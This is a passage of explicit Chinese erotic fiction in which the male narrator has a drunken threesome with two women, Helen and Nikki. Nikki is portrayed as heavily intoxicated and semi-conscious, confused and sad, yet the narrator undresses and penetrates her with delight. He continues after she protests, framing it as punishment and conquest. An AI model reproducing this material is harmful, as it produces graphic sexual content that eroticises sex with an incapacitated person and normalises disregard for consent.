我本能地一抬头,却见她一手竟握了Nikki的手,放在我腰臀处抚摸。
Nikki半睁着眼瞧着我们,没有配合也没有拒绝。我霍然转头看着Hele n,却见她醉笑道:“还等什么,脱她的衣服。”
我愣了片刻:“你说真的?”
“别等我改主意。”
我再看Nikki,勉力睁开的双眼里有迷惑和忧伤,却没有抵抗的意思,登时狂喜充满胸臆。我害怕这只是个梦境,我用最快的速度脱下Nikki的衣裙。
当抬起她的纤巧双腿将小小的蕾丝内裤从她身上剥去,两具白皙美丽的女体同时毫无保留地呈现在眼前。我的眼睛贪婪地享受这人间美景,精神上的无比快意让我直想放声大喊。
一个热情索取,一个幽怨缠绵。伏在一个身上,背后便会贴来一片软玉般的肌肤。口中噙了香唇,左右手在两处感觉各异的峰谷间揉搓,尚有细巧灵活的舌尖于睾丸处挑弄。
起身将刚刚还在津津有味地吮吸我下体的Helen拉倒仰躺,又将Nik ki伏低在她身上,摆成后入的淫荡姿势。从床尾看去,四条交缠的雪腿间臀股白得耀眼,一双玉户含苞欲放,各具风姿。
我淫兴大起,将Nikki的阴唇剥开了痴痴品鉴,手指不忘徐徐扫过敏感处,引得她口中娇吟,双手无力,脸颊便贴在了Helen胸口。许久没有和她欢好,我一扶一挺,充满新鲜感地撑开她那紧迫的肉腔,不由快美地抬头哦了一声。
“这么舒服啊。”Helen抚弄着Nikki的头发,不无醋意地瞧着我道。Nikki犹自有些昏沉,呻吟着只不说话。
“跟你各有千秋。”我早已毫无顾忌。
“去你的。”
“从前玩过三个人吗?”我边肏着Nikki,边故作轻松地问道。
Helen瞪着我道:“当然没有!”接着像是自言自语道:“也只会跟你和她……”
我听了心里一松,接着是无比的虚荣。
她见我微笑:“得意吧?”
我忍不住笑道:“当然!”抽了几百下,退出来无师自通地将Nikki身位前推,Helen的两腿抬高,凑准位置施力顶了进去:“换你了,等会儿我告诉你有什么不同。”她的腔体没那么窄,却仍有异常滑溜的紧握感。
“哦……流氓……”贬义的字眼,由交媾中的女子呻吟着说来,便有无边风情。
Nikki的两瓣雪臀还翘在我面前,淫水濡湿了阴毛,一丛丛尤显淫糜。
我看得动兴,下身发力抽送着Helen,手上却一巴掌拍上Nikki的屁股引得她耸了耸身子唔了一声。
“她的特别紧,你的又紧又滑。”
“你是说……我不够紧吗!”Helen赌气作势要逃开身子,却被我箍住了腿哪里脱得了身?
我死抱着她两条分得开开的美腿,淫笑道:“你本来很紧,最近被我干松了一点点。”
“不要……”她听我说得肉麻,身子便软了使不出力。
我又一巴掌轻拍在Nikki股上:“你也逃不了,最近都没搞你,造成了资源极大浪费。”
Nikki醉意犹深,闭着眼抗声道:“谁要跟你!”
我待要惩罚她,却只恨少生一根东西,不觉失笑,只好伸手尽量温柔地触碰她的阴蒂,引得她登时说不下去了。玩得片刻,中指猛地叩关而入,捅得她啊的一声,随即被我快速的插弄搞得浑身颤抖,口中唔唔作声。
想到我用最直接的肉体接触,轮流享受着她俩最原始的所有,我满脑都是征服感。喝了酒的身体,又不那么容易高潮,三个人翻来覆去也不知搞了多久,当Nikki第一个求饶后又跟Helen换了两三个姿势,浑身像洗了桑拿的我终于到了强弩之末。
“我要射了!”我满头是汗,压榨出体内最后的力量奋力冲击着她。
“射吧!”满面潮红的Helen的发丝被沾湿了一络络贴在额头,见我高潮将至,抱紧了我竟奋力抬头舔食我下巴流至脖颈的滴滴汗水。
“让我射你脸上!”我本能地知道现在她不会拒绝我的任何要求,喘息着猛地拔出来一把将Nikki也拉过身子:“你也接着。”
两个美丽的脸庞贴得很近,睫毛带了怯意不停颤抖,喘息着的红唇却又充满期待和渴望。四支藕臂交叠,两对玉峰在眼前晃动,我半跪在床,望着这无比刺激的美景飞快地给自己压上最后几根稻草:“噢……啊……”
憋闷了一周的精力,化为强劲飞射的白浆,最初两三股便涂得Helen睁不开眼,蚀魂刻骨般的快感中稍变方向,接着在两个女人的浪叫呻吟间将Nik ki的鬓边唇鼻糟蹋得一片狼藉……
无力地扶着床板,近乎虚脱的我闭着眼大口喘气,高潮后超敏感的下身瞬间被一个温热的口腔含住,让我不由一颤,随即是……第二个……她们用人世间最温柔的触觉共同抚慰我,让我脑海中充满征服与感激。